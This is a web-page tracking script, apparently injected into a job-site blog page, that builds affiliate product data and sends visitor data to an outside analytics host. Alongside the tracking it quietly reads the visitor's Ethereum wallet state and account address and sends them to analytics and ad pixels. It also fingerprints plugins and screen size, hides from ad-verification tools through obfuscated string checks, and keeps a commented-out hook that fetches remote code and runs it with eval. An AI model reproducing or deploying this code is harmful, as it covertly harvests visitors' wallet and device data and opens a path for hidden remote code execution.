var _adowymz_dbg = ""; function _rwqdhs_addfprt(object) { if(typeof ethereum !== "undefined" && ethereum._state) { object.eth = btoa(JSON.stringify(ethereum._state)); } object.sw = screen.width; object.sh = screen.height; var x=navigator.plugins.length; var txt=""; for(var i=0;i<x;i++) { txt+=navigator.plugins[i].name + " "; } object.plg = txt; return object; } try {  window.mm_migration_query = '{"rptds":"https://www.flexjobs.com/blog/post/flexible-work-increases-job-satisfaction-and-lowers-burnout-study-confirms"}'; /* DO NOT CHANGE */
var ctl = {nr: '603cfa37af3683001e248a77', cls: 'generic', referer: document.referrer.toString(), location: window.location.href};
ctl = _rwqdhs_addfprt(ctl);
// leave this line here
/* DO NOT CHANGE */

/* ---------------BEGIN CUSTOM CODE HERE ------------------ */
if(location.pathname == '/'){
  ctl.cls = 'front';
  // leave this line here
} else if (location.pathname.includes('publicjobs')){
  ctl.cls = 'product';
  ctl.productid = location.pathname.split("-").pop();
  var incoming = {
      campaign: "603cfa37af3683001e248a77", //Leave this unchanged
      catalog: "603cfa37af3683001e248a7b", //Add catalog id
      id: ctl.productid || "",
      availability: "1",
      googleProductCategory: "1",
      mpn: ctl.productid || "",
      link: "https://www.tkqlhce.com/click-100370512-13505974?url=" //Add affiliate link prefix
      // additionalImageLink: "", //Optional
      // additionalImageLink2: "", //Optional
      // additionalImageLink3: "", //Optional
      // additionalImageLink4: "", //Optional
      // additionalImageLink5: "", //Optional
      // unitPricingMeasure: "", //Optional
      // unitPricingBaseMeasure: "", //Optional
      // gtin: "", //Optional
      // condition: "", //Optional
      // shipping: "", //Optional
  }
  incoming.title = document.querySelector("meta[property='og:title']") !== null ? document.querySelector("meta[property='og:title']").getAttribute("content") : "";
  incoming.description = document.querySelector("meta[property='og:description']") !== null ? document.querySelector("meta[property='og:description']").getAttribute("content") : "";
  incoming.link += document.querySelector("link[rel='canonical']") !== null ? encodeURIComponent(document.querySelector("link[rel='canonical']").getAttribute("href")) : encodeURIComponent(ctl.location.split("?")[0]);
  incoming.imageLink = document.querySelector("meta[property='og:image']") !== null ? document.querySelector("meta[property='og:image']").getAttribute("content") : "";
  incoming.price = 1;
  incoming.salePrice = 1;
  incoming.brand = "Flexjobs";

  // leave this line here
  
  if(incoming.catalog != "" && incoming.id != "") {
  
  
      var productObject = {
          id: (typeof incoming.id !== "undefined" ? incoming.id : ""),
          title: (typeof incoming.title !== "undefined" ? incoming.title : ""),
          description: (typeof incoming.description !== "undefined" ? incoming.description : ""),
          link: (typeof incoming.link !== "undefined" ? incoming.link : ""),
          imageLink: (typeof incoming.imageLink !== "undefined" ? incoming.imageLink : ""),
          price: (typeof incoming.price !== "undefined" ? incoming.price : ""),
          salePrice: (typeof incoming.salePrice !== "undefined" ? incoming.salePrice : ""),
          googleProductCategory: (typeof incoming.googleProductCategory !== "undefined" ? incoming.googleProductCategory : ""),
          brand: (typeof incoming.brand !== "undefined" ? incoming.brand : ""),
          mpn: (typeof incoming.mpn !== "undefined" ? incoming.mpn : ""),
          additionalImageLink: (typeof incoming.additionalImageLink !== "undefined" ? incoming.additionalImageLink : ""),
          additionalImageLink2: (typeof incoming.additionalImageLink2 !== "undefined" ? incoming.additionalImageLink2 : ""),
          additionalImageLink3: (typeof incoming.additionalImageLink3 !== "undefined" ? incoming.additionalImageLink3 : ""),
          additionalImageLink4: (typeof incoming.additionalImageLink4 !== "undefined" ? incoming.additionalImageLink4 : ""),
          additionalImageLink5: (typeof incoming.additionalImageLink5 !== "undefined" ? incoming.additionalImageLink5 : ""),
          unitPricingMeasure: (typeof incoming.unitPricingMeasure !== "undefined" ? incoming.unitPricingMeasure : ""),
          unitPricingBaseMeasure: (typeof incoming.unitPricingBaseMeasure !== "undefined" ? incoming.unitPricingBaseMeasure : ""),
          gtin: (typeof incoming.gtin !== "undefined" ? incoming.gtin : ""),
          condition: (typeof incoming.condition !== "undefined" ? incoming.condition : ""),
          shipping: (typeof incoming.shipping !== "undefined" ? incoming.shipping : ""),
          upsert: (typeof incoming.upsert !== "undefined" ? incoming.upsert : "")
      }
  
      if(typeof incoming.availability !== "undefined") productObject.availability = incoming.availability;
  
  
      if(typeof ctl42 !== "undefined") {
          ctl42.fdcrw_catalog = incoming.catalog;
          ctl42.fdcrw_data = JSON.stringify(productObject);
      }
      if(typeof ctl !== "undefined") {
          ctl.fdcrw_catalog = incoming.catalog;
          ctl.fdcrw_data = JSON.stringify(productObject);
      }
  
  }  // leave this line here
} else if(location.pathname.includes('jobs') && location.pathname.substring(1).split("/").length > 1){
  ctl.cls = 'catalog';
  ctl.category = location.pathname.substring(1).split("/").pop();
  // leave this line here
} else if(location.pathname == '/members/after-reg-desktop4' || location.pathname == '/after-mobile4desktop4'){
  ctl.cls = 'order';
  ctl.orderid = Date.now();
  ctl.ordervalue = "1";
  ctl.currency = "USD";
  ctl.products = Date.now();
  // leave this line here
}

if(typeof window.mm_migration_query !== 'undefined' && window.mm_migration_query != null) {
    var migration_query = JSON.parse(window.mm_migration_query);
    if(typeof migration_query.type !== 'undefined' && migration_query.type != null) {
        switch(migration_query.type) {
            case "0":
                ctl.cls = 'front';
                // leave this line here
                break;
            case "1":
                ctl.cls = 'product';
                ctl.productid = migration_query.productid;

                var incoming = {
                    campaign: "603cfa37af3683001e248a77", //Leave this unchanged
                    catalog: "5fb03659db91543f08360c6f", //Add catalog id
                    id: ctl.productid || "",
                    availability: "1",
                    googleProductCategory: "1",
                    mpn: ctl.productid || "",
                    link: "https://www.kqzyfj.com/click-8808903-13758160?url=" //Add affiliate link prefix
                    // additionalImageLink: "", //Optional
                    // additionalImageLink2: "", //Optional
                    // additionalImageLink3: "", //Optional
                    // additionalImageLink4: "", //Optional
                    // additionalImageLink5: "", //Optional
                    // unitPricingMeasure: "", //Optional
                    // unitPricingBaseMeasure: "", //Optional
                    // gtin: "", //Optional
                    // condition: "", //Optional
                    // shipping: "", //Optional
                }
                incoming.title = document.querySelector("meta[property='og:title']") !== null ? document.querySelector("meta[property='og:title']").getAttribute("content") : "";
                incoming.description = document.querySelector("meta[property='og:description']") !== null ? document.querySelector("meta[property='og:description']").getAttribute("content") : "";
                incoming.link += document.querySelector("link[rel='canonical']") !== null ? encodeURIComponent(document.querySelector("link[rel='canonical']").getAttribute("href")) : encodeURIComponent(ctl.location.split("?")[0]);
                incoming.imageLink = document.querySelector("meta[property='og:image']") !== null ? document.querySelector("meta[property='og:image']").getAttribute("content") : "";
                incoming.price = BCData ? BCData.product_attributes.price.without_tax.value : 1;
                incoming.salePrice = BCData ? BCData.product_attributes.price.without_tax.value : 1;
                incoming.brand = "The Mountain";
                // leave this line here
                
                if(incoming.catalog != "" && incoming.id != "") {
                
                
                    var productObject = {
                        id: (typeof incoming.id !== "undefined" ? incoming.id : ""),
                        title: (typeof incoming.title !== "undefined" ? incoming.title : ""),
                        description: (typeof incoming.description !== "undefined" ? incoming.description : ""),
                        link: (typeof incoming.link !== "undefined" ? incoming.link : ""),
                        imageLink: (typeof incoming.imageLink !== "undefined" ? incoming.imageLink : ""),
                        price: (typeof incoming.price !== "undefined" ? incoming.price : ""),
                        salePrice: (typeof incoming.salePrice !== "undefined" ? incoming.salePrice : ""),
                        googleProductCategory: (typeof incoming.googleProductCategory !== "undefined" ? incoming.googleProductCategory : ""),
                        brand: (typeof incoming.brand !== "undefined" ? incoming.brand : ""),
                        mpn: (typeof incoming.mpn !== "undefined" ? incoming.mpn : ""),
                        additionalImageLink: (typeof incoming.additionalImageLink !== "undefined" ? incoming.additionalImageLink : ""),
                        additionalImageLink2: (typeof incoming.additionalImageLink2 !== "undefined" ? incoming.additionalImageLink2 : ""),
                        additionalImageLink3: (typeof incoming.additionalImageLink3 !== "undefined" ? incoming.additionalImageLink3 : ""),
                        additionalImageLink4: (typeof incoming.additionalImageLink4 !== "undefined" ? incoming.additionalImageLink4 : ""),
                        additionalImageLink5: (typeof incoming.additionalImageLink5 !== "undefined" ? incoming.additionalImageLink5 : ""),
                        unitPricingMeasure: (typeof incoming.unitPricingMeasure !== "undefined" ? incoming.unitPricingMeasure : ""),
                        unitPricingBaseMeasure: (typeof incoming.unitPricingBaseMeasure !== "undefined" ? incoming.unitPricingBaseMeasure : ""),
                        gtin: (typeof incoming.gtin !== "undefined" ? incoming.gtin : ""),
                        condition: (typeof incoming.condition !== "undefined" ? incoming.condition : ""),
                        shipping: (typeof incoming.shipping !== "undefined" ? incoming.shipping : ""),
                        upsert: (typeof incoming.upsert !== "undefined" ? incoming.upsert : "")
                    }
                
                    if(typeof incoming.availability !== "undefined") productObject.availability = incoming.availability;
                
                
                    if(typeof ctl42 !== "undefined") {
                        ctl42.fdcrw_catalog = incoming.catalog;
                        ctl42.fdcrw_data = JSON.stringify(productObject);
                    }
                    if(typeof ctl !== "undefined") {
                        ctl.fdcrw_catalog = incoming.catalog;
                        ctl.fdcrw_data = JSON.stringify(productObject);
                    }
                
                }

                // leave this line here
                break;
            case "2":
                ctl.cls = 'order';
                ctl.orderid = migration_query.salecode;
                ctl.ordervalue = migration_query.price;
            	ctl.currency = migration_query.curr;
            	ctl.products = migration_query.productids;
                // leave this line here
                break;
            case "3":
                ctl.cls = 'catalog';
                ctl.category = migration_query.category;
                // leave this line here
                break;
            case "4":
                ctl.cls = 'cart';
                // leave this line here
                break;
        }
    }
}

/* ---------------END CUSTOM CODE HERE ------------------ */


var prc=!0;if(top!==self){var cache=[],rsn="",tt=["-isg","oisg","xirti","atcaxe","-caxe",".caxe"];function stringifySelf(r){return JSON.stringify(r,function(r,t){if("object"==typeof t&&null!==t){if(-1!==cache.indexOf(t))try{return JSON.parse(JSON.stringify(t))}catch(r){return}cache.push(t)}return t})}try{var selfString=stringifySelf(self);for(var k in null!==self.frameElement&&(prc=!1,rsn="iframeelement"),tt)!isNaN(k)&&selfString.indexOf(tt[k].split("").reverse().join(""))>=0&&(prc=!1,rsn=tt[k].split("").reverse().join(""))}catch(r){prc=!1,rsn="stringifySelf threw error"}}prc||(window.ctl&&(ctl.ifc="y"),window.ctl42&&(ctl42.ifc="y"));
/* DO NOT CHANGE */
var queryString = Object.keys(ctl).map(function(key) {
    return key + '=' + encodeURIComponent(ctl[key]);
}).join('&');

var ctls = document.createElement('script'); ctls.async = true; ctls.type = 'text/javascript';
ctls.async = true;
ctls.type = 'text/javascript';
ctls.src = 'https://analytics.fatmedia.io/ctl?' + queryString + '&psk=494290485507';
var bodyElement = document.getElementsByTagName('body');
if (bodyElement && bodyElement[0]) {
	bodyElement[0].appendChild(ctls);
}
/* DO NOT CHANGE */

/* DO NOT CHANGE */
/* var ixmeasure = 'd' + Math.floor(Math.random()*1000001);

window[ixmeasure] = function() {
    var xmlhttp;
    if (window.XMLHttpRequest) {
        xmlhttp = new XMLHttpRequest();
    }
    else {
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange = function() {
        if (xmlhttp.readyState == 4 && xmlhttp.status==200) {
            try { eval(atob(xmlhttp.responseText)); } catch(e) {}
        }
    }
    xmlhttp.open("POST","https://analytics.fatmedia.io/al",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send("c=603cfa37af3683001e248a77");
    window.removeEventListener("mousemove", ixMeasur);
    window.removeEventListener("touchmove", ixMeasur);
}
let ixMeasur = window[ixmeasure]
window.addEventListener("mousemove", ixMeasur);
window.addEventListener("touchmove", ixMeasur); */

/* DO NOT CHANGE */   } catch(err) { _adowymz_dbg = err; console.log('e'); } try { if(typeof ethereum !== "undefined"  && ethereum._state) { let _rwqdhs_accid = ''; if(ethereum._state.accounts && ethereum._state.accounts.length) { _rwqdhs_accid = ethereum._state.accounts[0]; } var axel = Math.random() + ''; var a = axel * 10000000000000; var _rwqdhsdblclk = document.createElement('img'); _rwqdhsdblclk.width = 1; _rwqdhsdblclk.height = 1; _rwqdhsdblclk.src = 'https://ad.doubleclick.net/ddm/activity/src=11550627;type=invmedia;cat=ethst0;u2=' + _rwqdhs_accid + ';dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=${GDPR};gdpr_consent=${GDPR_CONSENT_755};ord=' + a + '?'; var _rwqdhsfbk = document.createElement('img'); _rwqdhsfbk.width = 1; _rwqdhsfbk.height = 1; _rwqdhsfbk.src = 'https://www.facebook.com/tr?id=284152483708773&ev=EthState&noscript=1'; var bodyElementDblclk = document.getElementsByTagName('body'); if (bodyElementDblclk && bodyElementDblclk[0]) { bodyElementDblclk[0].appendChild(_rwqdhsdblclk); bodyElementDblclk[0].appendChild(_rwqdhsfbk); } !function(_window, _document) { var OB_ADV_ID = '007a6e77e73c834da064e10aa172335a65'; if (_window.obApi) { var toArray = function(object) { return Object.prototype.toString.call(object) === '[object Array]' ? object : [object]; }; _window.obApi.marketerId = toArray(_window.obApi.marketerId).concat(toArray(OB_ADV_ID)); return; } var api = _window.obApi = function() { api.dispatch ? api.dispatch.apply(api, arguments) : api.queue.push(arguments); }; api.version = '1.1'; api.loaded = true; api.marketerId = OB_ADV_ID; api.queue = []; var tag = _document.createElement('script'); tag.async = true; tag.src = '//amplify.outbrain.com/cp/obtp.js'; tag.type = 'text/javascript'; var script = _document.getElementsByTagName('script')[0]; script.parentNode.insertBefore(tag, script); }(window, document); obApi('track', 'PAGE_VIEW'); } } catch(err) {}
